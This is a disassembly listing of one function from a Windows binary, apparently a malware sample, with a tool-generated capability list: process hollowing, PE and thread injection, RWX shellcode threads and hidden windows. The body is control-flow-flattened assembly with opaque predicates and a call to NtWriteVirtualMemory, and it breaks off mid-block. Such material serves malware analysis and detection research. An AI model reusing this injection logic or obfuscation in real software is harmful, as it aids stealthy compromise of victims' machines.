Function at 0x10006fe0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [0x1006ce04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x170], 0x2a17af96
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x174], eax
sub eax, 0x81ce242e
je 0x1000e8b6
jmp 0x1000701c
mov eax, dword [ebp - 0x174]
sub eax, 0x824916b4
je 0x10009800
jmp 0x10007032
mov eax, dword [ebp - 0x174]
sub eax, 0x8511d47d
je 0x1000c229
jmp 0x10007048
mov eax, dword [ebp - 0x174]
sub eax, 0x85c6ee43
je 0x10009cdf
jmp 0x1000705e
mov eax, dword [ebp - 0x174]
sub eax, 0x85e96a1c
je 0x1000e1e7
jmp 0x10007074
mov eax, dword [ebp - 0x174]
sub eax, 0x862ea624
je 0x10009741
jmp 0x1000708a
mov eax, dword [ebp - 0x174]
sub eax, 0x88184d52
je 0x1000c974
jmp 0x100070a0
mov eax, dword [ebp - 0x174]
sub eax, 0x8a0f90c3
je 0x1000bccc
jmp 0x100070b6
mov eax, dword [ebp - 0x174]
sub eax, 0x8c019ea1
je 0x1000e17e
jmp 0x100070cc
mov eax, dword [ebp - 0x174]
sub eax, 0x8d12ec66
je 0x1000ae0e
jmp 0x100070e2
mov eax, dword [ebp - 0x174]
sub eax, 0x8d710972
je 0x1000defb
jmp 0x100070f8
mov eax, dword [ebp - 0x174]
sub eax, 0x8fa4c2dc
je 0x1000c0e1
jmp 0x1000710e
mov eax, dword [ebp - 0x174]
sub eax, 0x8fb7e229
je 0x1000af19
jmp 0x10007124
mov eax, dword [ebp - 0x174]
sub eax, 0x8ffbd9fe
je 0x1000c552
jmp 0x1000713a
mov eax, dword [ebp - 0x174]
sub eax, 0x9043670c
je 0x1000af28
jmp 0x10007150
mov eax, dword [ebp - 0x174]
sub eax, 0x904cb87c
je 0x100090ee
jmp 0x10007166
mov eax, dword [ebp - 0x174]
sub eax, 0x90888b34
je 0x1000c9f7
jmp 0x1000717c
mov eax, dword [ebp - 0x174]
sub eax, 0x90fd6cde
je 0x1000c1b3
jmp 0x10007192
mov eax, dword [ebp - 0x174]
sub eax, 0x9108f519
je 0x1000df78
jmp 0x100071a8
mov eax, dword [ebp - 0x174]
sub eax, 0x9350ca82
je 0x1000b9cc
jmp 0x100071be
mov eax, dword [ebp - 0x174]
sub eax, 0x93af300f
je 0x1000914e
jmp 0x100071d4
mov eax, dword [ebp - 0x174]
sub eax, 0x946eec5d
je 0x1000e3c7
jmp 0x100071ea
mov eax, dword [ebp - 0x174]
sub eax, 0x954dc812
je 0x1000ca48
jmp 0x10007200
mov eax, dword [ebp - 0x174]
sub eax, 0x9619d44e
je 0x1000a552
jmp 0x10007216
mov eax, dword [ebp - 0x174]
sub eax, 0x963a943c
je 0x1000e3b8
jmp 0x1000722c
mov eax, dword [ebp - 0x174]
sub eax, 0x96f1646f
je 0x1000a264
jmp 0x10007242
mov eax, dword [ebp - 0x174]
sub eax, 0x9797f6ea
je 0x1000d9c2
jmp 0x10007258
mov eax, dword [ebp - 0x174]
sub eax, 0x97f8267e
je 0x1000db61
jmp 0x1000726e
mov eax, dword [ebp - 0x174]
sub eax, 0x97fb7a8e
je 0x10009f2f
jmp 0x10007284
mov eax, dword [ebp - 0x174]
sub eax, 0x9ab709c5
je 0x1000e87b
jmp 0x1000729a
mov eax, dword [ebp - 0x174]
sub eax, 0x9ba8ab67
je 0x1000a969
jmp 0x100072b0
mov eax, dword [ebp - 0x174]
sub eax, 0x9ce67ed4
je 0x1000c819
jmp 0x100072c6
mov eax, dword [ebp - 0x174]
sub eax, 0x9d328b60
je 0x1000a109
jmp 0x100072dc
mov eax, dword [ebp - 0x174]
sub eax, 0x9de902c6
je 0x1000c65c
jmp 0x100072f2
mov eax, dword [ebp - 0x174]
sub eax, 0x9df37571
je 0x1000d66f
jmp 0x10007308
mov eax, dword [ebp - 0x174]
sub eax, 0x9df4e342
je 0x1000becc
jmp 0x1000731e
mov eax, dword [ebp - 0x174]
sub eax, 0xa17572a1
je 0x10009eae
jmp 0x10007334
mov eax, dword [ebp - 0x174]
sub eax, 0xa2e39474
je 0x1000a5c8
jmp 0x1000734a
mov eax, dword [ebp - 0x174]
sub eax, 0xa30b5886
je 0x1000e432
jmp 0x10007360
mov eax, dword [ebp - 0x174]
sub eax, 0xa44e956a
je 0x1000dfde
jmp 0x10007376
mov eax, dword [ebp - 0x174]
sub eax, 0xa5b44eaa
je 0x1000c3a4
jmp 0x1000738c
mov eax, dword [ebp - 0x174]
sub eax, 0xa5c4afe6
je 0x1000d626
jmp 0x100073a2
mov eax, dword [ebp - 0x174]
sub eax, 0xa6231de3
je 0x1000938c
jmp 0x100073b8
mov eax, dword [ebp - 0x174]
sub eax, 0xa700107d
je 0x10009362
jmp 0x100073ce
mov eax, dword [ebp - 0x174]
sub eax, 0xa701e294
je 0x1000df2f
jmp 0x100073e4
mov eax, dword [ebp - 0x174]
sub eax, 0xa79dc8c4
je 0x1000d152
jmp 0x100073fa
mov eax, dword [ebp - 0x174]
sub eax, 0xa8cb809b
je 0x1000c5e6
jmp 0x10007410
mov eax, dword [ebp - 0x174]
sub eax, 0xab5eef1e
je 0x1000e2b7
jmp 0x10007426
mov eax, dword [ebp - 0x174]
sub eax, 0xac518a8a
je 0x1000e1b1
jmp 0x1000743c
mov eax, dword [ebp - 0x174]
sub eax, 0xac5404bc
je 0x1000cf5c
jmp 0x10007452
mov eax, dword [ebp - 0x174]
sub eax, 0xacac89eb
je 0x1000aa81
jmp 0x10007468
mov eax, dword [ebp - 0x174]
sub eax, 0xaddd302a
je 0x1000c289
jmp 0x1000747e
mov eax, dword [ebp - 0x174]
sub eax, 0xae318dc2
je 0x1000caf9
jmp 0x10007494
mov eax, dword [ebp - 0x174]
sub eax, 0xaeab83d5
je 0x1000d903
jmp 0x100074aa
mov eax, dword [ebp - 0x174]
sub eax, 0xaf03f73d
je 0x1000a193
jmp 0x100074c0
mov eax, dword [ebp - 0x174]
sub eax, 0xaf2e421b
je 0x1000d75e
jmp 0x100074d6
mov eax, dword [ebp - 0x174]
sub eax, 0xafe5270e
je 0x1000a47d
jmp 0x100074ec
mov eax, dword [ebp - 0x174]
sub eax, 0xb0719bfd
je 0x1000adae
jmp 0x10007502
mov eax, dword [ebp - 0x174]
sub eax, 0xb2047e80
je 0x1000b0dc
jmp 0x10007518
mov eax, dword [ebp - 0x174]
sub eax, 0xb3337e07
je 0x1000a81d
jmp 0x1000752e
mov eax, dword [ebp - 0x174]
sub eax, 0xb344b18f
je 0x1000bb49
jmp 0x10007544
mov eax, dword [ebp - 0x174]
sub eax, 0xb3923e92
je 0x1000c7af
jmp 0x1000755a
mov eax, dword [ebp - 0x174]
sub eax, 0xb4517504
je 0x10009319
jmp 0x10007570
mov eax, dword [ebp - 0x174]
sub eax, 0xb4782bbf
je 0x1000bbd5
jmp 0x10007586
mov eax, dword [ebp - 0x174]
sub eax, 0xb57ac240
je 0x1000c429
mov dword [ebp - 0x170], 0xce31d4e3
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0x8fe70050
sub edx, 1
sub edx, 0x8fe70050
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac518a8a
mov ecx, 0x460e78a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf537e883
mov ecx, 0xa700107d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0xf9218708
jmp 0x1000e9ac
mov edx, dword [ebp - 0x16c]
mov eax, 0xc310b8b3
mov ecx, 0x43f0d368
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0xaa541e7b
sub edx, 1
sub edx, 0xaa541e7b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30f24320
mov ecx, 0x2edeb273
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
sub edx, 0x21ac7d19
sub edx, 1
add edx, 0x21ac7d19
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd19172f
mov ecx, 0xc9631a25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov dl, byte [ebp - 0xc9]
mov eax, 0x11030aa7
mov ecx, 0xe20705ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
sub edx, 0xef60b9d4
sub edx, 1
add edx, 0xef60b9d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd815a73a
mov ecx, 0xeeb92196
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0x27a4944c
sub edx, 1
sub edx, 0x27a4944c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71333f40
mov ecx, 0xe15319ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0xf89dba0
jmp 0x1000e9ac
mov ax, word [ebp - 0xbe]
movzx eax, ax
mov ecx, dword [ebp - 0xc4]
add ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov dword [ebp - 0x170], 0xc21c5646
jmp 0x1000e9ac
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x134]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x134]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0x65f2a8e0
add eax, ecx
sub eax, 0x65f2a8e0
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x134]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0x17ff9b48
add eax, ecx
add eax, 0x17ff9b48
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0x19fb79a1
sub edx, 1
sub edx, 0x19fb79a1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x946eec5d
mov ecx, 0x4af140a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0xa4]
mov dword [eax], ecx
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
sub edx, 0x8772a3ad
sub edx, 1
add edx, 0x8772a3ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc9210764
mov ecx, 0x2144d57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
sub edx, 0xd8d58d9f
sub edx, 1
add edx, 0xd8d58d9f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7b1991ef
mov ecx, 0xa2e39474
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7b1991ef
mov ecx, 0xe9636605
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
sub edx, 0x8fafc8a4
sub edx, 1
add edx, 0x8fafc8a4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36752bbf
mov ecx, 0x526bcb2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
add edx, 0x8738ff10
sub edx, 1
sub edx, 0x8738ff10
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe2b6e936
mov ecx, 0xcc2cdaa3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x16c]
add eax, 4
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x170], 0x1fe7fd39
jmp 0x1000e9ac
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10006a80
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x138]
mov esi, dword [eax]
mov eax, dword [ebp - 0x128]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x16d2552a
mov ecx, 0x8d12ec66
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
add edx, 0xd80c0da0
sub edx, 1
sub edx, 0xd80c0da0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x155516d6
mov ecx, 0x62edcc09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0x9043670c
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0x7e9b0069
sub edx, 1
sub edx, 0x7e9b0069
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4f10d930
mov ecx, 0xff4c9d17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x128]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x170], 0x43bd667
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
add edx, 0x1ad31560
sub edx, 1
sub edx, 0x1ad31560
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb91ea796
mov ecx, 0xbfd19a88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x170], 0xf641c8c7
jmp 0x1000e9ac
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x16c]
mov ecx, dword [ecx + 0x34]
add eax, 0x68aa2b75
sub eax, ecx
sub eax, 0x68aa2b75
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdb594064
mov ecx, 0x6bab2f19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x55], al
mov dword [ebp - 0x170], 0x587f43b1
jmp 0x1000e9ac
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub eax, 0xf30c6fab
add eax, ecx
add eax, 0xf30c6fab
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x44], eax
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
add edx, 0x44ba87db
sub edx, 1
sub edx, 0x44ba87db
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbe24ab5a
mov ecx, 0x16d8223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0x2a88c59d
sub edx, 1
sub edx, 0x2a88c59d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc89a7fef
mov ecx, 0x37999de9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
add edx, 0x72e48ff9
sub edx, 1
sub edx, 0x72e48ff9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x37b57b60
mov ecx, 0x8511d47d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0x6b828fa
sub edx, 1
sub edx, 0x6b828fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37b57b60
mov ecx, 0xd8d3b57a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
sub edx, 0x3cd3a7da
sub edx, 1
add edx, 0x3cd3a7da
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1544cbe
mov ecx, 0x28105265
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0x61a7b5db
jmp 0x1000e9ac
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d710972
mov ecx, 0x32e270df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
add edx, 0xd5394f7a
sub edx, 1
sub edx, 0xd5394f7a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xede9922c
mov ecx, 0x9de902c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xede9922c
mov ecx, 0xcf792f2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [ebp - 0x30]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x148]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov edx, dword [ebp - 0x16c]
mov eax, 0x5988b4d5
mov ecx, 0x9ce67ed4
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x16c]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
add eax, 0xc
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x170], 0xc64a0c0b
jmp 0x1000e9ac
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
sub edx, 0xaf7156b6
sub edx, 1
add edx, 0xaf7156b6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa701e294
mov ecx, 0x90888b34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0x508982a1
sub edx, 1
sub edx, 0x508982a1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x580bd465
mov ecx, 0x954dc812
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
sub edx, 0x2e1b2df5
sub edx, 1
add edx, 0x2e1b2df5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x580bd465
mov ecx, 0x2f1e3fef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
mov edx, ecx
add edx, 0x16388d32
sub edx, 1
sub edx, 0x16388d32
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbfc0e5f9
mov ecx, 0x33a89a1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
